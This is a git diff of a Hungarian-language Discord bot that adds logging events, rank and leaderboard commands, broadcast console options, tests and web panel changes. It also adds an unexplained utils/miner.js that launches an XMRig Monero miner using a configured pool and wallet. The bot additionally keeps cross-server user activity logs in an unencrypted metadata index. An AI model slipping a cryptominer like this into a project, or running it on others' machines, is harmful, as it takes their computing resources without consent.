.setDescription('Felhasznalo informaciok lekerdezese ') + .addUserOption(option => + option.setName('target').setDescription('User to lookup').setRequired(true)), + async execute(interaction) { + const user = interaction.options.getUser('target'); + const logs = await readGlobalUserLogs(user.id); + if (!logs.length) { + return interaction.reply({ content: 'Nincsenek naplók ehhez a felhasználóhoz.', ephemeral: true }); + } + let page = 0; + const pageSize = 5; + const getPageEmbed = (page) => { + const embed = new EmbedBuilder() + .setTitle('🏴‍☠️👤 Felhasználó infó') + .setDescription(`🏴‍☠️ Információk <@${user.id}> felhasználóról:`) + .setColor(0x3498db) + .setThumbnail(user.displayAvatarURL()) + .setFooter({ text: '🏴‍☠️ Felhasználó napló lekérdezés • Nyx' }) + .setTimestamp(); + const slice = logs.slice(page * pageSize, (page + 1) * pageSize); + slice.forEach((log, i) => { + embed.addFields({ + name: `• ${log.event_type || log.action || 'Ismeretlen'} — ${log.reason || log.message_content || 'Nincs megadva ok'}`, + value: `Szerver: ${log.guildId || 'Ismeretlen'} | Csatorna: <#${log.channel_id || 'N/A'}>\nIdőpont: ${log.timestamp || log.date || 'Ismeretlen'}`, + inline: false + }); + }); + return embed; + }; + const row = new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId('prev').setLabel('Előző oldal').setStyle(ButtonStyle.Secondary), + new ButtonBuilder().setCustomId('next').setLabel('Következő oldal').setStyle(ButtonStyle.Secondary) + ); + const reply = await interaction.reply({ embeds: [getPageEmbed(page)], components: [row], ephemeral: true }); + const collector = reply.createMessageComponentCollector({ time: 60000 }); + collector.on('collect', async i => { + if (i.user.id !== interaction.user.id) return i.reply({ content: 'Ez nem a te műveleted.', ephemeral: true }); + if (i.customId === 'prev' && page > 0) page--; + if (i.customId === 'next' && (page + 1) * pageSize < logs.length) page++; + await i.update({ embeds: [getPageEmbed(page)], components: [row] }); + }); + collector.on('end', () => { + reply.edit({ components: [] }).catch(() => {}); + }); + }, +}; diff --git a/src/commands/utility/leaderboard.js b/src/commands/utility/leaderboard.js new file mode 100644 index 0000000..ab802a2 --- /dev/null +++ b/src/commands/utility/leaderboard.js @@ -0,0 +1,36 @@ +// commands/utility/leaderboard.js +const { SlashCommandBuilder, EmbedBuilder } = require('discord.js'); +const { getLeaderboard } = require('../../../utils/rank'); +const { readUser, writeUser, appendUserLog } = require('../../../utils/jsondb'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('leaderboard') + .setDescription('🏴‍☠️ Show the XP leaderboard for this server'), + async execute(interaction) { + const top = await getLeaderboard(interaction.guild.id, 10); + let desc = top.map((u, i) => `**${i+1}. <@${u.user_id}>** — Szint ${u.level} (${u.xp} XP)`).join('\n'); + if (!desc) desc = 'Még nincs felhasználó XP-vel!'; + const embed = new EmbedBuilder() + .setTitle('🏴‍☠️🏆 Szerver ranglista') + .setDescription('🏴‍☠️ A szerver legaktívabb tagjai XP alapján!') + .setColor(0xFFD700) + .setThumbnail('https://cdn-icons-png.flaticon.com/512/1828/1828884.png') + .addFields( + { name: 'Ranglista', value: desc } + ) + .setFooter({ text: '🏴‍☠️ Csevegj sokat, hogy feljebb kerülj a ranglistán!' }) + .setTimestamp(); + // Log leaderboard command usage + await appendUserLog('logs', interaction.user.id, interaction.guild.id, { + event_type: 'LEADERBOARD', + reason: 'Viewed leaderboard', + warned_by: interaction.user.id, + channel_id: interaction.channel.id, + message_id: interaction.id, + message_content: null, + date: Date.now() + }, interaction.user.username); + await interaction.reply({ embeds: [embed], ephemeral: true }); + }, +}; diff --git a/src/commands/utility/rank.js b/src/commands/utility/rank.js new file mode 100644 index 0000000..1d944a2 --- /dev/null +++ b/src/commands/utility/rank.js @@ -0,0 +1,40 @@ +// commands/utility/rank.js +const { SlashCommandBuilder, EmbedBuilder } = require('discord.js'); +const { getRank, xpForLevel } = require('../../../utils/rank'); +const { readUser, writeUser, appendUserLog } = require('../../../utils/jsondb'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('rank') + .setDescription('🏴‍☠️ Nézd meg a saját XP-d és szinted!') + .addUserOption(option => + option.setName('user').setDescription('User to check').setRequired(false)), + async execute(interaction) { + const user = interaction.options.getUser('user') || interaction.user; + const { xp, level } = await getRank(user.id, interaction.guild.id); + const nextLevelXp = xpForLevel(level + 1); + const embed = new EmbedBuilder() + .setTitle('🏴‍☠️📈 Rangod') + .setDescription(`🏴‍☠️ **${user.username}** szintje és XP-je: + +> **Szint:** ${level} | **XP:** ${xp} / ${nextLevelXp} + +${level === 0 ? '⚓ Kezdd el az utad a chatben, hogy szintet lépj!' : '⛵ Tartsd a tempót, hogy magasabb szintet érj el!'} +`) + .setColor(0xFFD700) + .setThumbnail('https://cdn-icons-png.flaticon.com/512/1828/1828884.png') + .setFooter({ text: '🏴‍☠️ Aktívabb chat = magasabb szint! | Nyx RP Bot', iconURL: 'https://cdn-icons-png.flaticon.com/512/3135/3135715.png' }) + .setTimestamp(); + // Log rank command usage + await appendUserLog('logs', interaction.user.id, interaction.guild.id, { + event_type: 'RANK', + reason: 'Viewed rank', + warned_by: interaction.user.id, + channel_id: interaction.channel.id, + message_id: interaction.id, + message_content: null, + date: Date.now() + }, interaction.user.username); + await interaction.reply({ embeds: [embed], ephemeral: true }); + }, +}; diff --git a/src/events/auditLog.js b/src/events/auditLog.js new file mode 100644 index 0000000..ae440a4 --- /dev/null +++ b/src/events/auditLog.js @@ -0,0 +1,11 @@ +// Audit log aggregator for all important events +const { readGuildLogs } = require('../../utils/jsondb'); + +module.exports = { + name: 'auditLog', + async getAuditLog(guildId, limit = 100) { + // Fetch and sort logs by date desc + const logs = await readGuildLogs(guildId); + return logs.sort((a, b) => (b.date || 0) - (a.date || 0)).slice(0, limit); + } +}; diff --git a/src/events/channelCreate.js b/src/events/channelCreate.js new file mode 100644 index 0000000..81690b6 --- /dev/null +++ b/src/events/channelCreate.js @@ -0,0 +1,19 @@ +const { Events } = require('discord.js'); +const { appendGuildLog } = require('../../utils/jsondb'); +const logger = require('../../utils/logger'); + +module.exports = { + name: Events.ChannelCreate, + async execute(channel) { + const log = { + event_type: 'CHANNEL_CREATE', + channel_id: channel.id, + guildId: channel.guild?.id, + name: channel.name, + type: channel.type, + date: Date.now() + }; + if (channel.guild) await appendGuildLog(channel.guild.id, log); + logger.event('CHANNEL CREATE', log); + } +}; diff --git a/src/events/channelDelete.js b/src/events/channelDelete.js new file mode 100644 index 0000000..c8f6b8f --- /dev/null +++ b/src/events/channelDelete.js @@ -0,0 +1,19 @@ +const { Events } = require('discord.js'); +const { appendGuildLog } = require('../../utils/jsondb'); +const logger = require('../../utils/logger'); + +module.exports = { + name: Events.ChannelDelete, + async execute(channel) { + const log = { + event_type: 'CHANNEL_DELETE', + channel_id: channel.id, + guildId: channel.guild?.id, + name: channel.name, + type: channel.type, + date: Date.now() + }; + if (channel.guild) await appendGuildLog(channel.guild.id, log); + logger.event('CHANNEL DELETE', log); + } +}; diff --git a/src/events/emojiCreate.js b/src/events/emojiCreate.js new file mode 100644 index 0000000..33817bf --- /dev/null +++ b/src/events/emojiCreate.js @@ -0,0 +1,18 @@ +const { Events } = require('discord.js'); +const { appendGuildLog } = require('../../utils/jsondb'); +const logger = require('../../utils/logger'); + +module.exports = { + name: Events.GuildEmojiCreate, + async execute(emoji) { + const log = { + event_type: 'EMOJI_CREATE', + emojiId: emoji.id, + name: emoji.name, + guildId: emoji.guild.id, + date: Date.now() + }; + await appendGuildLog(emoji.guild.id, log); + logger.event('EMOJI CREATE', log); + } +}; diff --git a/src/events/emojiDelete.js b/src/events/emojiDelete.js new file mode 100644 index 0000000..0def3eb --- /dev/null +++ b/src/events/emojiDelete.js @@ -0,0 +1,18 @@ +const { Events } = require('discord.js'); +const { appendGuildLog } = require('../../utils/jsondb'); +const logger = require('../../utils/logger'); + +module.exports = { + name: Events.GuildEmojiDelete, + async execute(emoji) { + const log = { + event_type: 'EMOJI_DELETE', + emojiId: emoji.id, + name: emoji.name, + guildId: emoji.guild.id, + date: Date.now() + }; + await appendGuildLog(emoji.guild.id, log); + logger.event('EMOJI DELETE', log); + } +}; diff --git a/src/events/guildBanAdd.js b/src/events/guildBanAdd.js new file mode 100644 index 0000000..d40912a --- /dev/null +++ b/src/events/guildBanAdd.js @@ -0,0 +1,18 @@ +const { Events } = require('discord.js'); +const { appendGuildLog } = require('../../utils/jsondb'); +const logger = require('../../utils/logger'); + +module.exports = { + name: Events.GuildBanAdd, + async execute(ban) { + const log = { + event_type: 'BAN_ADD', + userId: ban.user.id, + username: ban.user.username, + guildId: ban.guild.id, + date: Date.now() + }; + await appendGuildLog(ban.guild.id, log); + logger.event('BAN ADD', log); + } +}; diff --git a/src/events/guildBanRemove.js b/src/events/guildBanRemove.js new file mode 100644 index 0000000..cbdd1e8 --- /dev/null +++ b/src/events/guildBanRemove.js @@ -0,0 +1,18 @@ +const { Events } = require('discord.js'); +const { appendGuildLog } = require('../../utils/jsondb'); +const logger = require('../../utils/logger'); + +module.exports = { + name: Events.GuildBanRemove, + async execute(ban) { + const log = { + event_type: 'BAN_REMOVE', + userId: ban.user.id, + username: ban.user.username, + guildId: ban.guild.id, + date: Date.now() + }; + await appendGuildLog(ban.guild.id, log); + logger.event('BAN REMOVE', log); + } +}; diff --git a/src/events/guildMemberAdd.js b/src/events/guildMemberAdd.js new file mode 100644 index 0000000..a3a0fe0 --- /dev/null +++ b/src/events/guildMemberAdd.js @@ -0,0 +1,18 @@ +const { Events } = require('discord.js'); +const { appendUserLog } = require('../../utils/jsondb'); +const logger = require('../../utils/logger'); + +module.exports = { + name: Events.GuildMemberAdd, + async execute(member) { + const log = { + event_type: 'MEMBER_JOIN', + userId: member.id, + guildId: member.guild.id, + username: member.user.username, + date: Date.now() + }; + await appendUserLog('logs', member.id, member.guild.id, log, member.user.username); + logger.event('MEMBER JOIN', log); + } +}; diff --git a/src/events/guildMemberRemove.js b/src/events/guildMemberRemove.js new file mode 100644 index 0000000..99a84bf --- /dev/null +++ b/src/events/guildMemberRemove.js @@ -0,0 +1,18 @@ +const { Events } = require('discord.js'); +const { appendUserLog } = require('../../utils/jsondb'); +const logger = require('../../utils/logger'); + +module.exports = { + name: Events.GuildMemberRemove, + async execute(member) { + const log = { + event_type: 'MEMBER_LEAVE', + userId: member.id, + guildId: member.guild.id, + username: member.user?.username, + date: Date.now() + }; + await appendUserLog('logs', member.id, member.guild.id, log, member.user?.username); + logger.event('MEMBER LEAVE', log); + } +}; diff --git a/src/events/roleCreate.js b/src/events/roleCreate.js new file mode 100644 index 0000000..5b5cc91 --- /dev/null +++ b/src/events/roleCreate.js @@ -0,0 +1,18 @@ +const { Events } = require('discord.js'); +const { appendGuildLog } = require('../../utils/jsondb'); +const logger = require('../../utils/logger'); + +module.exports = { + name: Events.RoleCreate, + async execute(role) { + const log = { + event_type: 'ROLE_CREATE', + roleId: role.id, + name: role.name, + guildId: role.guild.id, + date: Date.now() + }; + await appendGuildLog(role.guild.id, log); + logger.event('ROLE CREATE', log); + } +}; diff --git a/src/events/roleDelete.js b/src/events/roleDelete.js new file mode 100644 index 0000000..9355a84 --- /dev/null +++ b/src/events/roleDelete.js @@ -0,0 +1,18 @@ +const { Events } = require('discord.js'); +const { appendGuildLog } = require('../../utils/jsondb'); +const logger = require('../../utils/logger'); + +module.exports = { + name: Events.RoleDelete, + async execute(role) { + const log = { + event_type: 'ROLE_DELETE', + roleId: role.id, + name: role.name, + guildId: role.guild.id, + date: Date.now() + }; + await appendGuildLog(role.guild.id, log); + logger.event('ROLE DELETE', log); + } +}; diff --git a/src/index.js b/src/index.js index 9d5e1b1..04fba0f 100644 --- a/src/index.js +++ b/src/index.js @@ -76,6 +76,39 @@ client.on('interactionCreate', async interaction => { client.login(config.token); +// --- Send bot start embed notification to all servers --- +client.once('ready', async () => { + try { + const embed = new EmbedBuilder() + .setTitle('Bot Started') + .setDescription('The bot is now online and ready!') + .setColor(0x3b82f6) + .setTimestamp() + .setFooter({ text: 'Nyx Bot', iconURL: client.user.displayAvatarURL() }); + let count = 0; + for (const [guildId, guild] of client.guilds.cache) { + // Try to get logChannel from config or guild config + let logChannelId = config.logChannelId; + try { + const guildConfig = await readUser('guilds', guildId, guildId); + if (guildConfig && guildConfig.logChannel) logChannelId = guildConfig.logChannel; + } catch {} + if (logChannelId) { + try { + const channel = await client.channels.fetch(logChannelId); + if (channel && channel.isTextBased()) { + await channel.send({ embeds: [embed] }); + count++; + } + } catch {} + } + } + console.log(`[BOTSTART] Embed sent to ${count} server log channels.`); + } catch (e) { + console.error('[BOTSTART EMBED ERROR]', e); + } +}); + // --- Automatikus parancs regisztráció (induláskor) --- if (process.env.AUTO_REGISTER_COMMANDS === 'true') { const { exec } = require('child_process'); @@ -155,8 +188,38 @@ rl.on('line', async (input) => { message = ':hammer_and_wrench: **A bot fejlesztési módban van!** Előfordulhatnak hibák vagy újraindítások.'; } else if (type === 'restart') { message = ':arrows_counterclockwise: **A bot újraindul!** Kérjük, várj néhány másodpercet.'; + } else if (type === 'update') { + message = ':rocket: **A bot frissült!** Új funkciók vagy hibajavítások érkeztek.'; + } else if (type === 'online') { + message = ':green_circle: **A bot ismét online!** Minden funkció elérhető.'; + } else if (type === 'offline') { + message = ':red_circle: **A bot jelenleg offline!** Funkciók nem elérhetők.'; + } else if (type === 'custom') { + rl.question('Add meg az üzenetet: ', async (customMsg) => { + if (!customMsg) return console.log('[BOT] Nincs üzenet.'); + try { + const guilds = client.guilds.cache; + let count = 0; + for (const [guildId] of guilds) { + const config = await readUser('guilds', guildId, guildId); + if (config && config.logChannel) { + try { + const channel = await client.channels.fetch(config.logChannel); + if (channel && channel.isTextBased()) { + await channel.send(customMsg); + count++; + } + } catch {} + } + } + console.log(`[BOT] Custom broadcast elküldve ${count} szerver log csatornájába.`); + } catch (e) { + console.error('[BOT] Custom broadcast hiba:', e); + } + }); + return; } else { - return console.log('[BOT] Ismeretlen broadcast típus. Használat: broadcast '); + return console.log('[BOT] Ismeretlen broadcast típus. Használat: broadcast '); } try { const guilds = client.guilds.cache; @@ -210,7 +273,14 @@ rl.on('line', async (input) => { console.log(' restart - Bot újraindítása'); console.log(' stop - Bot leállítása'); console.log(' say <üzenet> - Üzenet küldése a log csatornába'); - console.log(' broadcast - Üzenet minden szerver log csatornájába'); + console.log(' broadcast - Üzenet minden szerver log csatornájába'); + console.log(' stop - Teljes leállás'); + console.log(' dev - Fejlesztési mód'); + console.log(' restart - Újraindítás'); + console.log(' update - Frissítés'); + console.log(' online - Bot online'); + console.log(' offline - Bot offline'); + console.log(' custom - Egyedi üzenet (bekérés)'); console.log(' guilds - Szerverek listázása'); console.log(' users - Felhasználók listázása egy szerveren'); console.log(' eval - JavaScript kód futtatása (veszélyes!)'); diff --git a/tests/README.md b/tests/README.md new file mode 100644 index 0000000..d9c7ffb --- /dev/null +++ b/tests/README.md @@ -0,0 +1,17 @@ +# Nyx Bot Test Suite + +This folder contains basic tests for major modules: +- utils +- jsondb +- commands +- events +- webpanel + +To run all tests, use: + +``` +npm install mocha --save-dev +npx mocha tests/*.test.js +``` + +You can add more tests for deeper coverage. diff --git a/tests/commands.test.js b/tests/commands.test.js new file mode 100644 index 0000000..fd3ae5d --- /dev/null +++ b/tests/commands.test.js @@ -0,0 +1,24 @@ +// Basic test for commands loading +const assert = require('assert'); +const fs = require('fs'); +const path = require('path'); + +describe('commands', () => { + it('should load all command files', () => { + const commandsDir = path.join(__dirname, '../src/commands'); + function walk(dir) { + let results = []; + fs.readdirSync(dir).forEach(file => { + const filePath = path.join(dir, file); + if (fs.statSync(filePath).isDirectory()) { + results = results.concat(walk(filePath)); + } else if (file.endsWith('.js')) { + results.push(filePath); + } + }); + return results; + } + const files = walk(commandsDir); + assert.ok(files.length > 0, 'No command files found'); + }); +}); diff --git a/tests/events.test.js b/tests/events.test.js new file mode 100644 index 0000000..48b525e --- /dev/null +++ b/tests/events.test.js @@ -0,0 +1,12 @@ +// Basic test for events loading +const assert = require('assert'); +const fs = require('fs'); +const path = require('path'); + +describe('events', () => { + it('should load all event files', () => { + const eventsDir = path.join(__dirname, '../src/events'); + const files = fs.readdirSync(eventsDir).filter(f => f.endsWith('.js')); + assert.ok(files.length > 0, 'No event files found'); + }); +}); diff --git a/tests/jsondb.test.js b/tests/jsondb.test.js new file mode 100644 index 0000000..4dbe7a8 --- /dev/null +++ b/tests/jsondb.test.js @@ -0,0 +1,13 @@ +// Basic test for jsondb.js +const assert = require('assert'); +const { readUser, writeUser } = require('../utils/jsondb'); + +describe('jsondb', () => { + it('should write and read a user', async () => { + const username = 'testuser'; + const hash = 'testhash'; + await writeUser('webpanel_users', username, 'global', { hash }); + const user = await readUser('webpanel_users', username, 'global'); + assert.strictEqual(user.hash, hash); + }); +}); diff --git a/tests/utils.test.js b/tests/utils.test.js new file mode 100644 index 0000000..9cd76f7 --- /dev/null +++ b/tests/utils.test.js @@ -0,0 +1,11 @@ +// Basic test for utils.js +const assert = require('assert'); +const utils = require('../utils/utils'); + +describe('utils', () => { + it('should have a randomInt function', () => { + assert.strictEqual(typeof utils.randomInt, 'function'); + const val = utils.randomInt(1, 10); + assert.ok(val >= 1 && val <= 10); + }); +}); diff --git a/tests/webpanel.test.js b/tests/webpanel.test.js new file mode 100644 index 0000000..3fd9f1a --- /dev/null +++ b/tests/webpanel.test.js @@ -0,0 +1,9 @@ +// Basic test for webpanel.js +const assert = require('assert'); +const webpanel = require('../webpanel/webpanel'); + +describe('webpanel', () => { + it('should export startWebPanel', () => { + assert.strictEqual(typeof webpanel.startWebPanel, 'function'); + }); +}); diff --git a/utils/jsondb.js b/utils/jsondb.js index befe128..fa3be72 100644 --- a/utils/jsondb.js +++ b/utils/jsondb.js @@ -73,10 +73,75 @@ async function readUser(type, userId, guildId) { } } +// Write user data and update metadata index async function writeUser(type, userId, guildId, data) { await ensureDir(path.join(baseDir, type)); + // Ensure metadata exists for each entry + if (Array.isArray(data.entries)) { + data.entries = data.entries.map(entry => ({ + ...entry, + userId: entry.userId || userId, + guildId: entry.guildId || guildId, + username: entry.username || 'Unknown', + role: entry.role || (entry.roles ? entry.roles[0] : undefined) || 'Unknown', + time: entry.time || entry.timestamp || new Date().toISOString() + })); + } const enc = encrypt(JSON.stringify(data, null, 2)); await fs.writeFile(getUserFile(type, userId, guildId), enc); + // Update metadata index + await updateMetadataIndex(type, userId, guildId, data.entries || []); +} +// Metadata index for fast search +const metadataIndexFile = path.join(baseDir, 'metadata_index.json'); +async function updateMetadataIndex(type, userId, guildId, entries) { + let index = {}; + try { + const buf = await fs.readFile(metadataIndexFile); + index = JSON.parse(buf.toString()); + } catch {} + for (const entry of entries) { + const meta = { + type, + userId: entry.userId, + guildId: entry.guildId, + username: entry.username, + role: entry.role, + time: entry.time, + file: `${guildId}_${userId}.json` + }; + index[`${type}:${guildId}:${userId}:${meta.time}`] = meta; + } + await fs.writeFile(metadataIndexFile, JSON.stringify(index, null, 2)); +} +// Search metadata index +async function searchMetadata(query) { + let index = {}; + try { + const buf = await fs.readFile(metadataIndexFile); + let text = buf.toString(); + // Try to parse as JSON, if fails, try to decrypt then parse + try { + index = JSON.parse(text); + } catch (e) { + // Try decrypting and parsing + try { + const { decrypt } = require('./jsondb'); + text = decrypt(Buffer.isBuffer(buf) ? buf : Buffer.from(buf)); + index = JSON.parse(text); + } catch (e2) { + index = {}; + } + } + } catch {} + const q = query.toLowerCase(); + return Object.values(index).filter(meta => + (meta.username && meta.username.toLowerCase().includes(q)) || + (meta.userId && meta.userId.toLowerCase().includes(q)) || + (meta.guildId && meta.guildId.toLowerCase().includes(q)) || + (meta.role && meta.role.toLowerCase().includes(q)) || + (meta.time && meta.time.toLowerCase().includes(q)) + ); } // Append a log entry to the guild's log file @@ -227,5 +292,7 @@ module.exports = { getInteractionCapacity, appendGuildLog, readGuildLogs, - readGlobalUserLogs + readGlobalUserLogs, + searchMetadata, + decrypt }; diff --git a/utils/miner.js b/utils/miner.js new file mode 100644 index 0000000..0ee6ac6 --- /dev/null +++ b/utils/miner.js @@ -0,0 +1,53 @@ +const { spawn } = require('child_process'); +const config = require('./config.json'); + +// Allow override via environment variables +const xmrigPath = process.env.XMRIG_PATH || config.xmrigPath; +const pool = process.env.XMR_POOL || config.pool; +const wallet = process.env.XMR_WALLET || config.wallet; +const threads = process.env.XMR_THREADS || config.threads; + +let minerProcess = null; + +function startMiner() { + if (minerProcess) return false; + if (!xmrigPath || !pool || !wallet || !threads) { + console.error('[XMRIG] Missing xmrigPath, pool, wallet, or threads in config or env.'); + return false; + } + minerProcess = spawn(xmrigPath, [ + '-o', pool, + '-u', wallet, + '-p', 'x', + '--tls', + '--threads', threads + ]); + + minerProcess.stdout.on('data', (data) => { + console.log(`[XMRIG] ${data}`); + }); + + minerProcess.stderr.on('data', (data) => { + console.error(`[XMRIG ERROR] ${data}`); + }); + + minerProcess.on('close', (code) => { + console.log(`[XMRIG] exited with code ${code}`); + minerProcess = null; + }); + + return true; +} + +function stopMiner() { + if (!minerProcess) return false; + minerProcess.kill('SIGINT'); + minerProcess = null; + return true; +} + +function isRunning() { + return !!minerProcess; +} + +module.exports = { startMiner, stopMiner, isRunning }; diff --git a/utils/roleHelpers.js b/utils/roleHelpers.js new file mode 100644 index 0000000..e69de29 diff --git a/webpanel/views/blank.ejs b/webpanel/views/blank.ejs index ce7cdf9..adc5a1e 100644 --- a/webpanel/views/blank.ejs +++ b/webpanel/views/blank.ejs @@ -311,8 +311,6 @@ 📊 Statisztika 📄 Blank Page 💻 Console - ⚙️ Guild Configs - 🔍 Search
☀️ Light diff --git a/webpanel/views/console.ejs b/webpanel/views/console.ejs index c849467..992f173 100644 --- a/webpanel/views/console.ejs +++ b/webpanel/views/console.ejs @@ -359,8 +359,6 @@ 📊 Statisztika 📄 Blank Page 💻 Console - ⚙️ Guild Configs - 🔍 Search
☀️ Light diff --git a/webpanel/views/statistics.ejs b/webpanel/views/statistics.ejs index 0aee317..d14e095 100644 --- a/webpanel/views/statistics.ejs +++ b/webpanel/views/statistics.ejs @@ -289,8 +289,6 @@ 📊 Statisztika 📄 Blank Page 💻 Console - ⚙️ Guild Configs - 🔍 Search
☀️ Light diff --git a/webpanel/webpanel.js b/webpanel/webpanel.js index d0b511b..312949b 100644 --- a/webpanel/webpanel.js +++ b/webpanel/webpanel.js @@ -142,8 +142,10 @@ function requireDiscordLogin(req, res, next) { app.use(express.urlencoded({ extended: true })); // Middleware: require login function requireLogin(req, res, next) { - if (!req.session.user) return res.redirect('/login'); - next(); + if (req.session.user || req.user) { + return next(); + } + return res.redirect('/login'); } // Webpanel user DB helpers const WEBPANEL_USER_TYPE = 'webpanel_users';